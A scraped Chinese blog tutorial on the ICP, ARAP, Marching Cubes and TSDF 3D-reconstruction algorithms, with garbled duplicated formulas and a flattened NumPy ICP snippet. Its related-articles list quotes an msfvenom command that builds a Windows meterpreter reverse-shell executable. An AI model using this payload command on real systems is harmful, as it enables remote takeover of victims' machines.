三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

news/2024/4/30 3:13:14/文章来源:https://blog.csdn.net/keiven_/article/details/127144042

😍😍😍更多精彩福利😍😍😍

三维重建经典算法

1. ICP

迭代最近点算法(Iterative Closest Point, ICP)是一种点云配准算法,用来求解两堆点云之间的变换关系:旋转关系 RRR 和平移关系 ttt

  • 基本思路:找到两组点云集合中距离最近的点对,根据估计的变换关系(RRRttt)来计算距离最近点对经过变换之后的误差,经过不断的迭代直至误差小于某一阈值或者达到迭代次数来确定最终的变换关系。

  • 数学描述:给定两个点云集合:X=(x1,...,xn)X=(x_1,...,x_n)X=(x1,...,xn) P=(p1,...,pm)P=(p_1,...,p_m)P=(p1,...,pm) 求解RRRttt,能量最小化:
    E(R,t)=1n∑i=1n∣∣xi−(Rpi+t)∣∣2E(R, t)=\frac{1}{n}\sum^n_{i=1}||x_i-(Rp_i+t)||^2E(R,t)=n1i=1n∣∣xi(Rpi+t)2

  • 求解方法
    I. 已知对应点的情况

    1. 计算两组点云质心: ux=1n∑i=1n∣∣xi∣∣2u_x=\frac{1}{n}\sum^n_{i=1}||x_i||^2ux=n1i=1n∣∣xi2 up=1m∑i=1m∣∣pi∣∣2u_p=\frac{1}{m}\sum^m_{i=1}||p_i||^2up=m1i=1m∣∣pi2
    2. 计算两组点云中的点以质心为原点的坐标: X′=(xi−ux)=(xi′)X'=(x_i-u_x)=(x_i')X=(xiux)=(xi) P′=(pi−up)=(pi′)P'=(p_i-u_p)=(p_i')P=(piup)=(pi)
    3. 计算 www 并对其进行SVD分解: w=1n∑i=1nxi′piT=Udiag(δ1,δ2,δ3)VTw=\frac{1}{n}\sum^n_{i=1}x_i'p_i^T=U diag(\delta_1, \delta_2, \delta_3)V^Tw=n1i=1nxipiT=Udiag(δ1,δ2,δ3)VT
    4. ICP算法的解为:R=VUT,t=ux−RupR=VU^T, t=u_x-Ru_pR=VUT,t=uxRup
     import numpy as npdef icp(X, P):u_x = np.mean(X, axis=0)u_p = np.mean(P, axis=0)H = (X - u_x).transpose() @ (P - u_p)U, S, Vt = np.linalg.svd(H)R = np.dot(Vt.T, U.T)t = u_x - R @ u_preturn R, tR, t = icp(X, P)X_trans = np.dot(X, R.transpose()) + t - X
    

    II. 未知对应点的情况

    1. 寻找两组点云中距离最近的点对
    2. 根据找到的距离最近点对求解两组点云之间的位姿关系
    3. 根据求解的位姿关系对点云进行变换,并计算误差
    4. 若误差没有达到要求,则重复1-3步直至误差满足要求或达到最大迭代次数

参考: ICP算法

2. ARAP

尽可能刚性变形算法(As Rigid As Possible, ARAP)要求模型变形前后保持局部细节不变,即只进行平移或旋转的刚体变形,形状不会发生扭曲。

  • 数学描述:设 CCCC′C'C为刚体变换,其变形过程中存在旋转矩阵 RRR: pi′−pj′=Ri(pi−pj),∀j∈N(i)p_i'-p_j'=R_i(p_i-p_j), \forall j\in N(i)pipj=Ri(pipj),jN(i)

    其中 N(i)N(i)N(i) 表示顶点的1邻域点的索引,pjp_jpjpj′p_j'pj 分别表示 pip_ipipi′p_i'pi 的1邻域顶点, RiR_iRi 表示 CiC_iCiCi′C_i'Ci 的最优旋转矩阵,最小化以下能量函数实现模型的尽可能刚性变形:
    E(Ci,Ci′)=∑j∈N(i)wij∣∣pi′−pj′−Ri(pi−pj)∣∣2E(C_i, C_i')=\sum_{j\in N(i)}w_{ij}||p_i'-p_j'-R_i(p_i-p_j)||^2E(Ci,Ci)=jN(i)wij∣∣pipjRi(pipj)2
    其中 eee 表示顶点之间的边,www 表示其边上的权重

  • 求解方法:

    1. R为变量,则不包含 RRR 的部分可理解为常数,由此可得:
      E(Ci,Ci′)=∑jwij(eij′−Rieij)T(eij′−Rieij)=argmaxRiTr(Ri∑jwijeijeij′)E(C_i, C_i')=\sum_jw_{ij}(e_{ij}'-R_ie_{ij})^T(e_{ij}'-R_ie_{ij})=argmax_{R_i} Tr(R_i\sum_jw_{ij}e_{ij}e_{ij}')E(Ci,Ci)=jwij(eijRieij)T(eijRieij)=argmaxRiTr(Rijwijeijeij)
    2. 协方差矩阵并进行SVD,根据中间变形结果 P′P'P 和初始模型坐标 PPP 使用奇异值分解估算出变形单元的最优旋转矩阵 RiR_iRi :
      ∑j∈N(i)wijeijeij′=PiDiPi′T=Ui∑iViT\sum_{j\in N(i)}w_{ij}e_{ij}e_{ij}'=P_iD_iP_i'^T=U_i\sum_iV_i^TjN(i)wijeijeij=PiDiPiT=UiiViT
    3. 在旋转矩阵已知的情况下令能量函数导数为0可得到函数取最小值时的 P′P'P ,下一次迭代将 P′P'P 作为已知求解 RiR_iRi, 迭代直至能量误差小于指定阈值
      ∑j∈N(i)wij(pi′−pj′)=∑j∈N(i)wij2(Ri+Rj)(pi−pj)\sum_{j\in N(i)}w_{ij}(p_i'-p_j')=\sum_{j\in N(i)}\frac{w_{ij}}{2}(R_i+R_j)(p_i-p_j)jN(i)wij(pipj)=jN(i)2wij(Ri+Rj)(pipj)

参考:

  • ARAP(As-Rigid-As-Possible)变形算法
  • 非固定边界网格参数化(ARAP)
  • ARAP参数化算法

3. Marching Cubes

Marching Cubes算法是三维离散数据场中提取等值面的经典算法。

  • 基本假设:沿六面体边的数据场呈连续性变化。即如果一条边的两个顶点分别大于或小于等值面的值,则在该条边上有且仅有一点是这条边与等值面的交点。
  • 基本思想:逐个处理数据场中的立方体(体素),分离出与等值面相交的立方体,采用插值计算出等值面与立方体边的交点。根据立方体每一顶点与等值面的相对位置,将等值面与立方体边的交点按一定方式连接生成等值面,作为等值面在该立方体内的一个逼近表示。即用许多小正方体去对空间进行切分,用小正方体内部的平面来近似表示当前的等值面。小正方体的数量越多逼近效果越好但计算代价越大。
  • 实现步骤:
    1. 将原始数据经过预处理之后读入指定的数组中
    2. 从网格数据体中提取一个单元体成为当前单元体,同时获取该单元体的所有信息如8个顶点的值、坐标位置等
    3. 将当前单元体8个顶点的函数值与给定等值面值C进行比较得到该单元体的状态表(edgeTable、triTable)
    4. 根据当前单元体的状态表索引找出与等值面相交的单元体棱边,并采用线性插值的方法计算出各个交点的位置坐标
    5. 利用中心差分法求出当前单元体8个顶点的法向量,再采用线性插值的方法得到三角面片各个顶点的法向量
    6. 根据各个三角面片顶点的坐标、顶点法向量进行等值面图象的绘制

参考:

  • Coding Adventure: Marching Cubes
  • Marching Cubes算法理解

4. TSDF

基于截断的带符号距离函数(Truncated Signed Distance Function, TSDF)是一种计算隐势面的方法。通过求每个体素的值,再使用Marching Cubes来提取等势面。在拥有大内存的显卡并行计算的情况下,使用TSDF可以做到实时的重建效果。

  • 实现步骤:
    1. 准备工作
      建立一个大的Volume能够完全包围要重建的物体,划分网格体素,体素的大小取决于Volume的大小和划分体素的数目。将整个空间的体素全部存入GPU运算,每个线程处理一条(x,y)(x,y)(x,y)。即对于(x,y,z)(x,y,z)(x,y,z)的晶格坐标,每个GPU进程扫描处理一个(x,y)(x,y)(x,y)坐标下的晶格柱。对于构造的立体中的每个体素转化为世界坐标系下的三维位置点 ppp
    2. 计算当前帧的TSDF值以及权重
      遍历所有体素,以一个体素在世界坐标系三维位置点 ppp 为例,由深度数据的相机位姿矩阵求世界坐标系下点 ppp 在相机坐标系下得映射点 vvv 。并由相机内参矩阵反投影 vvv 点求深度图像中的对应像素点 xxx ,像素点 xxx 的深度值为value(x)value(x)value(x),点 vvv 到相机坐标原点的距离为distance(v)distance(v)distance(v)。引入截断距离计算tsdf(p)tsdf(p)tsdf(p), 限制大小在[−1,1][-1,1][1,1]之间:
      sdf(p)=value(x)−distance(v)sdf(p)=value(x)-distance(v)sdf(p)=value(x)distance(v)
      tsdfi(x)=max(−1,min(1,sdfi(x)t))tsdf_i(x)=max(-1, min(1, \frac{sdf_i(x)}{t}))tsdfi(x)=max(1,min(1,tsdfi(x)))
    3. 当前帧与全局融合结果进行融合
      如果当前帧是第一帧,则第一帧即是融合结果,否则需要当前帧与之前的融合结果进行融合。TSDFi(p)TSDF_i(p)TSDFi(p)为体素 ppp 的融合TSDFTSDFTSDF值,Wi(p)W_i(p)Wi(p) 为融合权重值,tsdfi(p)tsdf_i(p)tsdfi(p)为体素 ppp 当前帧的TSDFTSDFTSDF值,wi(p)w_i(p)wi(p)为当前帧权重值,θθθ 为投影光线与表面法向量的夹角。
      TSDFi(p)=Wi(p)TSDFi−1(p)+wi(p)tsdfi(p)Wi−1(p)+wi(p)TSDF_i(p)=\frac{W_i(p)TSDF_{i-1}(p)+w_i(p)tsdf_i(p)}{W_{i-1}(p)+w_i(p)}TSDFi(p)=Wi1(p)+wi(p)Wi(p)TSDFi1(p)+wi(p)tsdfi(p)
      Wi(p)=Wi−1(p)+wi(p),wi(p)=cos(θ)distance(v)W_i(p)=W_{i-1}(p)+w_i(p), w_i(p)=\frac{cos(θ)}{distance(v)}Wi(p)=Wi1(p)+wi(p),wi(p)=distance(v)cos(θ)
    4. 每添加一帧深度数据,执行一遍2,3步的计算,直到最后输出结果给Marching Cubes计算提取等势面

参考:

  • TSDF算法简述
  • TSDF算法学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17645.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列(一)mysql体系结构和存储引擎MySQL怎么运行的系列(二)Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列(三)InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动,扫描得到所有BeanDefinition之后,就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里: org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路,需要外接上拉电阻,而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步,一定是找方向,SaaS产品的北极星指标处于商业目标,用户价值,和战略选择的交点上,且一般落实在功能使用量上。与To C产品的AARRR略有不同,To B SaaS产品驱动增长包含六大杠杆,…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界],获取我的更多笔记分享 大家好,我是极智视界,本文解读一下 Label, Verify, Correct (LVC):一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD),即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com,其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复,翻译成中文csdn说辱华,不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示,平台节点不安装天线,12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果,在浏览器的书签栏增加一个库存监控提醒的按钮,点击该按钮即启动库存监控提醒项目。 项目运行时,自动打开指定的网址,并从事先准备好的txt文件中读取型号,输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性;一起来学习摘自百度词条的信息: 图形用户界面(Graphical User Interface,简称 GUI,又称图形用户接口)是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化:CommonJS规范》文中对CMD规范进行了介绍,并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲,CommonJS这种模块化规范更加适用于服务器端编程,由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来,神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功,而MIL作为一种典型的弱监督学习方法&#…

J2EE 知识点总结_上

J2EE 知识点总结_上基础概念数组选择排序 :交换排序 :插入排序面向对象重载(**Overload**)的概念构造器的作用:JavaBean多态性instanceof 操作符操作符与equals方法:包装类(Wrapper)的使用垃圾回收机制关键…

RLE算法机制、缺点及哈夫曼算法和莫尔斯编码

CSDN话题挑战赛第2期 参赛话题:学习笔记 目录 一、RLE算法机制 二、RLE算法的缺点 三、哈夫曼算法和莫尔斯编码 一、RLE算法机制 对 AAAAAABBCDDEEEEEF 这17个半角字符的文件(文本文件)进行压缩。虽然这些文字没有什么实际意义&#xff0…

Spring源码分析(三)Bean生命周期源码解析1:扫描生成BeanDefinition

Spring最重要的功能就是帮助程序员创建对象(也就是IOC),而启动Spring就是为创建Bean对象做准备,如果先分析Spring启动过程的源码,会比较难理解,因为你可能不知道为什么要做这些准备动作,所以我们…